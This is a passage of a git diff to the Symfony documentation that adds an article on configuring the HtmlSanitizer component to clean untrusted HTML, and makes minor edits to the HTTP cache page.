$htmlSanitizer->sanitize($unsafeContents); + // ... proceed using the safe HTML + } + } + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $htmlSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig())->allowSafeElements() + ); + + // unsafe HTML (e.g. from a WYSIWYG editor in the browser) + $unsafePostContents = ...; + + $safePostContents = $htmlSanitizer->sanitize($unsafePostContents); + // ... proceed using the safe HTML + +.. note:: + + The default configuration of the HTML sanitizer allows all "safe" + elements and attributes, as defined by the `W3C Standard Proposal`_. In + practice, this means that the resulting code will not contain any + scripts, styles or other elements that can cause the website to behave + or look different. Later in this article, you'll learn how to + :ref:`fully customize the HTML sanitizer <html-sanitizer-configuration>`. + +Sanitizing HTML for a Specific Context +-------------------------------------- + +The default :method:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer::sanitize` +method cleans the HTML code for usage in the ``<body>`` element. Using the +:method:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer::sanitizeFor` +method, you can instruct HTML sanitizer to customize this for the +``<head>`` or a more specific HTML tag:: + + // tags not allowed in <head> will be removed + $safeInput = $htmlSanitizer->sanitizeFor('head', $userInput); + + // encodes the returned HTML using HTML entities + $safeInput = $htmlSanitizer->sanitizeFor('title', $userInput); + $safeInput = $htmlSanitizer->sanitizeFor('textarea', $userInput); + + // uses the <body> context, removing tags only allowed in <head> + $safeInput = $htmlSanitizer->sanitizeFor('body', $userInput); + $safeInput = $htmlSanitizer->sanitizeFor('section', $userInput); + +Sanitizing HTML from Form Input +------------------------------- + +The HTML sanitizer component directly integrates with Symfony Forms, to +sanitize the form input before it is processed by your application. + +You can enable the sanitizer in ``TextType`` forms, or any form extending +this type (such as ``TextareaType``), using the ``sanitize_html`` option:: + + // src/Form/BlogPostType.php + namespace App\Form; + + // ... + class BlogPostType extends AbstractType + { + // ... + + public function configureOptions(OptionsResolver $resolver): void + { + $resolver->setDefaults([ + 'sanitize_html' => true, + // use the "sanitizer" option to use a custom sanitizer (see below) + //'sanitizer' => 'app.post_sanitizer', + ]); + } + } + +.. _html-sanitizer-twig: + +Sanitizing HTML in Twig Templates +--------------------------------- + +Besides sanitizing user input, you can also sanitize HTML code before +outputting it in a Twig template using the ``sanitize_html()`` filter: + +.. code-block:: twig + + {{ post.body|sanitize_html }} + + {# you can also use a custom sanitizer (see below) #} + {{ post.body|sanitize_html('app.post_sanitizer') }} + +.. _html-sanitizer-configuration: + +Configuration +------------- + +The behavior of the HTML sanitizer can be fully customized. This allows you +to explicitly state which elements, attributes and even attribute values +are allowed. + +You can do this by defining a new HTML sanitizer in the configuration: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + block_elements: + - h1 + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:html-sanitizer> + <framework:sanitizer name="app.post_sanitizer"> + <framework:block-element name="h1"/> + </framework:sanitizer> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + ->blockElement('h1') + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + ->blockElement('h1') + ); + +This configuration defines a new ``html_sanitizer.sanitizer.app.post_sanitizer`` +service. This service will be :doc:`autowired </service_container/autowiring>` +for services having an ``HtmlSanitizerInterface $appPostSanitizer`` parameter. + +Allow Element Baselines +~~~~~~~~~~~~~~~~~~~~~~~ + +You can start the custom HTML sanitizer by using one of the two baselines: + +Static elements + All elements and attributes on the baseline allow lists from the + `W3C Standard Proposal`_ (this does not include scripts). +Safe elements + All elements and attributes from the "static elements" list, excluding + elements and attributes that can also lead to CSS + injection/click-jacking. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # enable either of these + allow_safe_elements: true + allow_static_elements: true + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:html-sanitizer> + <!-- allow-safe-elements/allow-static-elements: + enable either of these --> + <framework:sanitizer + name="app.post_sanitizer" + allow-safe-elements="true" + allow-static-elements="true" + /> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + // enable either of these + ->allowSafeElements(true) + ->allowStaticElements(true) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + // enable either of these + ->allowSafeElements() + ->allowStaticElements() + ); + +Allow Elements +~~~~~~~~~~~~~~ + +This adds elements to the allow list. For each element, you can also +specify the allowed attributes on that element. If not given, all allowed +attributes from the `W3C Standard Proposal`_ are allowed. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # ... + allow_elements: + # allow the <article> element and 2 attributes + article: ['class', 'data-attr'] + # allow the <img> element and preserve the src attribute + img: 'src' + # allow the <h1> element with all safe attributes + h1: '*' + # allow the <div> element with no attributes + div: [] + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:html-sanitizer> + <!-- allow-safe-elements/allow-static-elements: + enable either of these --> + <framework:sanitizer name="app.post_sanitizer"> + <!-- allow the <article> element and 2 attributes --> + <framework:allow-element name="article"> + <framework:attribute>class</framework:attribute> + <framework:attribute>data-attr</framework:attribute> + </framework:allow-element> + + <!-- allow the <img> element and preserve the src attribute --> + <framework:allow-element name="img"> + <framework:attribute>src</framework:attribute> + </framework:allow-element> + + <!-- allow the <h1> element with all safe attributes --> + <framework:allow-element name="h1"> + <framework:attribute>*</framework:attribute> + </framework:allow-element> + + <!-- allow the <div> element with no attributes --> + <framework:allow-element name="div"/> + </framework:sanitizer> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + // allow the <article> element and 2 attributes + ->allowElement('article', ['class', 'data-attr']) + + // allow the <img> element and preserve the src attribute + ->allowElement('img', 'src') + + // allow the <h1> element with all safe attributes + ->allowElement('h1', '*') + + // allow the <div> element with no attributes + ->allowElement('div', []) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + // allow the <article> element and 2 attributes + ->allowElement('article', ['class', 'data-attr']) + + // allow the <img> element and preserve the src attribute + ->allowElement('img', 'src') + + // allow the <h1> element with all safe attributes + ->allowElement('h1') + + // allow the <div> element with no attributes + ->allowElement('div', []) + ); + +Block and Drop Elements +~~~~~~~~~~~~~~~~~~~~~~~ + +You can also block (the element will be removed, but its children +will be kept) or drop (the element and its children will be removed) +elements. + +This can also be used to remove elements from the allow list. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # ... + + # remove <div>, but process the children + block_elements: ['div'] + # remove <figure> and its children + drop_elements: ['figure'] + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:html-sanitizer> + <!-- remove <div>, but process the children --> + <framework:block-element>div</framework:block-element> + + <!-- remove <figure> and its children --> + <framework:drop-element>figure</framework:drop-element> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + // remove <div>, but process the children + ->blockElement('div') + // remove <figure> and its children + ->dropElement('figure') + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + // remove <div>, but process the children + ->blockElement('div') + // remove <figure> and its children + ->dropElement('figure') + ); + +Allow Attributes +~~~~~~~~~~~~~~~~ + +Using this option, you can specify which attributes will be preserved in +the returned HTML. The attribute will be allowed on the given elements, or +on all elements allowed *before this setting*. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # ... + allow_attributes: + # allow "src' on <iframe> elements + src: ['iframe'] + + # allow "data-attr" on all elements currently allowed + data-attr: '*' + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:html-sanitizer> + <!-- allow "src' on <iframe> elements --> + <framework:allow-attribute name="src"> + <framework:element>iframe</framework:element> + </framework:allow-attribute> + + <!-- allow "data-attr" on all elements currently allowed --> + <framework:allow-attribute name="data-attr"> + <framework:element>*</framework:element> + </framework:allow-attribute> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + // allow "src' on <iframe> elements + ->allowAttribute('src', ['iframe']) + + // allow "data-attr" on all elements currently allowed + ->allowAttribute('data-attr', '*') + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + // allow "src' on <iframe> elements + ->allowAttribute('src', ['iframe']) + + // allow "data-attr" on all elements currently allowed + ->allowAttribute('data-attr', '*') + ); + +Drop Attributes +~~~~~~~~~~~~~~~ + +This option allows you to disallow attributes that were allowed before. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # ... + allow_attributes: + # allow the "data-attr" on all safe elements... + data-attr: '*' + + drop_attributes: + # ...except for the <section> element + data-attr: ['section'] + # disallows "style' on any allowed element + style: '*' + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:html-sanitizer> + <!-- allow the "data-attr" on all safe elements... --> + <framework:allow-attribute name="data-attr"> + <framework:element>*</framework:element> + </framework:allow-attribute> + + <!-- ...except for the <section> element --> + <framework:drop-attribute name="data-attr"> + <framework:element>section</framework:element> + </framework:drop-attribute> + + <!-- disallows "style' on any allowed element --> + <framework:drop-attribute name="style"> + <framework:element>*</framework:element> + </framework:drop-attribute> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + // allow the "data-attr" on all safe elements... + ->allowAttribute('data-attr', '*') + + // ...except for the <section> element + ->dropAttribute('data-attr', ['section']) + + // disallows "style' on any allowed element + ->dropAttribute('style', '*') + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + // allow the "data-attr" on all safe elements... + ->allowAttribute('data-attr', '*') + + // ...except for the <section> element + ->dropAttribute('data-attr', ['section']) + + // disallows "style' on any allowed element + ->dropAttribute('style', '*') + ); + +Force Attribute Values +~~~~~~~~~~~~~~~~~~~~~~ + +Using this option, you can force an attribute with a given value on an +element. For instance, use the follow config to always set ``rel="noopener noreferrer"`` on each ``<a>`` +element (even if the original one didn't contain a ``rel`` attribute): + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # ... + force_attributes: + a: + rel: noopener noreferrer + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:html-sanitizer> + <framework:force-attribute name="a"> + <framework:attribute name="rel">noopener noreferrer</framework:attribute> + </framework:force-attribute> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + ->forceAttribute('a', ['rel' => 'noopener noreferrer']) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + ->forceAttribute('a', 'rel', 'noopener noreferrer') + ); + +.. _html-sanitizer-link-url: + +Force/Allow Link URLs +~~~~~~~~~~~~~~~~~~~~~ + +Besides allowing/blocking elements and attributes, you can also control the +URLs of ``<a>`` elements: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # ... + + # if `true`, all URLs using the `http://` scheme will be converted to + # use the `https://` scheme instead. `http` still needs to be allowed + # in `allowed_link_schemes` + force_https_urls: true + + # specifies the allowed URL schemes. If the URL has a different scheme, the + # attribute will be dropped + allowed_link_schemes: ['http', 'https', 'mailto'] + + # specifies the allowed hosts, the attribute will be dropped if the + # URL contains a different host. Subdomains are allowed: e.g. the following + # config would also allow 'www.symfony.com', 'live.symfony.com', etc. + allowed_link_hosts: ['symfony.com'] + + # whether to allow relative links (i.e. URLs without scheme and host) + allow_relative_links: true + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be + converted to use the `https://` scheme instead. + `http` still needs to be allowed in `allowed-link-scheme` --> + <!-- allow-relative-links: whether to allow relative links (i.e. URLs without + scheme and host) --> + <framework:html-sanitizer + force-https-urls="true" + allow-relative-links="true" + > + <!-- specifies the allowed URL schemes. If the URL has a different scheme, + the attribute will be dropped --> + <allowed-link-scheme>http</allowed-link-scheme> + <allowed-link-scheme>https</allowed-link-scheme> + <allowed-link-scheme>mailto</allowed-link-scheme> + + <!-- specifies the allowed hosts, the attribute will be dropped if the + URL contains a different host. Subdomains are allowed: e.g. the following + config would also allow 'www.symfony.com', 'live.symfony.com', etc. --> + <allowed-link-host>symfony.com</allowed-link-host> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + // if `true`, all URLs using the `http://` scheme will be converted to + // use the `https://` scheme instead. `http` still needs to be + // allowed in `allowedLinkSchemes` + ->forceHttpsUrls(true) + + // specifies the allowed URL schemes. If the URL has a different scheme, the + // attribute will be dropped + ->allowedLinkSchemes(['http', 'https', 'mailto']) + + // specifies the allowed hosts, the attribute will be dropped if the + // URL contains a different host. Subdomains are allowed: e.g. the following + // config would also allow 'www.symfony.com', 'live.symfony.com', etc. + ->allowedLinkHosts(['symfony.com']) + + // whether to allow relative links (i.e. URLs without scheme and host) + ->allowRelativeLinks(true) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + // if `true`, all URLs using the `http://` scheme will be converted to + // use the `https://` scheme instead. `http` still needs to be + // allowed in `allowLinkSchemes` + ->forceHttpsUrls() + + // specifies the allowed URL schemes. If the URL has a different scheme, the + // attribute will be dropped + ->allowLinkSchemes(['http', 'https', 'mailto']) + + // specifies the allowed hosts, the attribute will be dropped if the + // URL contains a different host which is not a subdomain of the allowed host + ->allowLinkHosts(['symfony.com']) // Also allows any subdomain (i.e. www.symfony.com) + + // whether to allow relative links (i.e. URLs without scheme and host) + ->allowRelativeLinks() + ); + +Force/Allow Media URLs +~~~~~~~~~~~~~~~~~~~~~~ + +Like :ref:`link URLs <html-sanitizer-link-url>`, you can also control the +URLs of other media in the HTML. The following attributes are checked by +the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # ... + + # if `true`, all URLs using the `http://` scheme will be converted to + # use the `https://` scheme instead. `http` still needs to be allowed + # in `allowed_media_schemes` + force_https_urls: true + + # specifies the allowed URL schemes. If the URL has a different scheme, the + # attribute will be dropped + allowed_media_schemes: ['http', 'https', 'mailto'] + + # specifies the allowed hosts, the attribute will be dropped if the URL + # contains a different host which is not a subdomain of the allowed host + allowed_media_hosts: ['symfony.com'] # Also allows any subdomain (i.e. www.symfony.com) + + # whether to allow relative URLs (i.e. URLs without scheme and host) + allow_relative_medias: true + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be + converted to use the `https://` scheme instead. `http` + still needs to be allowed in `allowed-media-scheme` --> + <!-- allow-relative-medias: whether to allow relative URLs (i.e. URLs without + scheme and host) --> + <framework:html-sanitizer + force-https-urls="true" + allow-relative-medias="true" + > + <!-- specifies the allowed URL schemes. If the URL has a different scheme, + the attribute will be dropped --> + <allowed-media-scheme>http</allowed-media-scheme> + <allowed-media-scheme>https</allowed-media-scheme> + <allowed-media-scheme>mailto</allowed-media-scheme> + + <!-- specifies the allowed hosts, the attribute will be dropped if the URL + contains a different host which is not a subdomain of the allowed host. + Also allows any subdomain (i.e. www.symfony.com) --> + <allowed-media-host>symfony.com</allowed-media-host> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + // if `true`, all URLs using the `http://` scheme will be converted to + // use the `https://` scheme instead. `http` still needs to be + // allowed in `allowedMediaSchemes` + ->forceHttpsUrls(true) + + // specifies the allowed URL schemes. If the URL has a different scheme, the + // attribute will be dropped + ->allowedMediaSchemes(['http', 'https', 'mailto']) + + // specifies the allowed hosts, the attribute will be dropped if the URL + // contains a different host which is not a subdomain of the allowed host + ->allowedMediaHosts(['symfony.com']) // Also allows any subdomain (i.e. www.symfony.com) + + // whether to allow relative URLs (i.e. URLs without scheme and host) + ->allowRelativeMedias(true) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + // if `true`, all URLs using the `http://` scheme will be converted to + // use the `https://` scheme instead. `http` still needs to be + // allowed in `allowMediaSchemes` + ->forceHttpsUrls() + + // specifies the allowed URL schemes. If the URL has a different scheme, the + // attribute will be dropped + ->allowMediaSchemes(['http', 'https', 'mailto']) + + // specifies the allowed hosts, the attribute will be dropped if the URL + // contains a different host which is not a subdomain of the allowed host + ->allowMediaHosts(['symfony.com']) // Also allows any subdomain (i.e. www.symfony.com) + + // whether to allow relative URLs (i.e. URLs without scheme and host) + ->allowRelativeMedias() + ); + +Max Input Length +~~~~~~~~~~~~~~~~ + +In order to prevent `DoS attacks`_, by default the HTML sanitizer limits the +input length to ``20000`` characters (as measured by ``strlen($input)``). All +the contents exceeding that length will be truncated. Use this option to +increase or decrease this limit: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # ... + + # inputs longer (in characters) than this value will be truncated + max_input_length: 30000 # default: 20000 + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:html-sanitizer> + <framework:sanitizer name="app.post_sanitizer"> + <!-- inputs longer (in characters) than this value will be truncated (default: 20000) --> + <framework:max-input-length>20000</framework:max-input-length> + </framework:sanitizer> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + // inputs longer (in characters) than this value will be truncated (default: 20000) + ->withMaxInputLength(20000) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + // inputs longer (in characters) than this value will be truncated (default: 20000) + ->withMaxInputLength(20000) + ); + +It is possible to disable this length limit by setting the max input length to +``-1``. Beware that it may expose your application to `DoS attacks`_. + +Custom Attribute Sanitizers +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Controlling the link and media URLs is done by the +:class:`Symfony\\Component\\HtmlSanitizer\\Visitor\\AttributeSanitizer\\UrlAttributeSanitizer`. +You can also implement your own attribute sanitizer, to control the value +of other attributes in the HTML. Create a class implementing +:class:`Symfony\\Component\\HtmlSanitizer\\Visitor\\AttributeSanitizer\\AttributeSanitizerInterface` +and register it as a service. After this, use ``with_attribute_sanitizers`` +to enable it for an HTML sanitizer: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/html_sanitizer.yaml + framework: + html_sanitizer: + sanitizers: + app.post_sanitizer: + # ... + with_attribute_sanitizers: + - App\Sanitizer\CustomAttributeSanitizer + + # you can also disable previously enabled custom attribute sanitizers + #without_attribute_sanitizers: + # - App\Sanitizer\CustomAttributeSanitizer + + .. code-block:: xml + + <!-- config/packages/html_sanitizer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:html-sanitizer> + <with-attribute-sanitizer>App\Sanitizer\CustomAttributeSanitizer</with-attribute-sanitizer> + + <!-- you can also disable previously enabled attribute sanitizers --> + <without-attribute-sanitizer>Symfony\Component\HtmlSanitizer\Visitor\AttributeSanitizer\UrlAttributeSanitizer</without-attribute-sanitizer> + </framework:html-sanitizer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use App\Sanitizer\CustomAttributeSanitizer; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->htmlSanitizer() + ->sanitizer('app.post_sanitizer') + ->withAttributeSanitizer(CustomAttributeSanitizer::class) + + // you can also disable previously enabled attribute sanitizers + //->withoutAttributeSanitizer(CustomAttributeSanitizer::class) + ; + }; + + .. code-block:: php-standalone + + use App\Sanitizer\CustomAttributeSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizer; + use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; + + $customAttributeSanitizer = new CustomAttributeSanitizer(); + $postSanitizer = new HtmlSanitizer( + (new HtmlSanitizerConfig()) + ->withAttributeSanitizer($customAttributeSanitizer) + + // you can also disable previously enabled attribute sanitizers + //->withoutAttributeSanitizer($customAttributeSanitizer) + ); + +.. _`HTML Sanitizer W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/ +.. _`W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/ +.. _`DoS attacks`: https://en.wikipedia.org/wiki/Denial-of-service_attack diff --git a/http_cache.rst b/http_cache.rst index 3e444c2d2b6..1797219c649 100644 --- a/http_cache.rst +++ b/http_cache.rst @@ -1,6 +1,3 @@ -.. index:: - single: Cache - HTTP Cache ========== @@ -22,7 +19,7 @@ The Symfony cache system is different because it relies on the simplicity and power of the HTTP cache as defined in `RFC 7234 - Caching`_. Instead of reinventing a caching methodology, Symfony embraces the standard that defines basic communication on the Web. Once you understand the fundamental HTTP -validation and expiration caching models, you'll be ready to master the Symfony +validation and expiration caching models, you'll be ready to understand the Symfony cache system. Since caching with HTTP isn't unique to Symfony, many articles already exist @@ -30,10 +27,6 @@ on the topic. If you're new to HTTP caching, Ryan Tomayko's article `Things Caches Do`_ is *highly* recommended. Another in-depth resource is Mark Nottingham's `Cache Tutorial`_. -.. index:: - single: Cache; Proxy - single: Cache; Reverse proxy - .. _gateway-caches: Caching with a Gateway Cache @@ -60,9 +53,6 @@ as `Varnish`_, `Squid in reverse proxy mode`_, and the Symfony reverse proxy. Gateway caches are sometimes referred to as reverse proxy caches, surrogate caches, or even HTTP accelerators. -.. index:: - single: Cache; Symfony reverse proxy - .. _`symfony-gateway-cache`: .. _symfony2-reverse-proxy: @@ 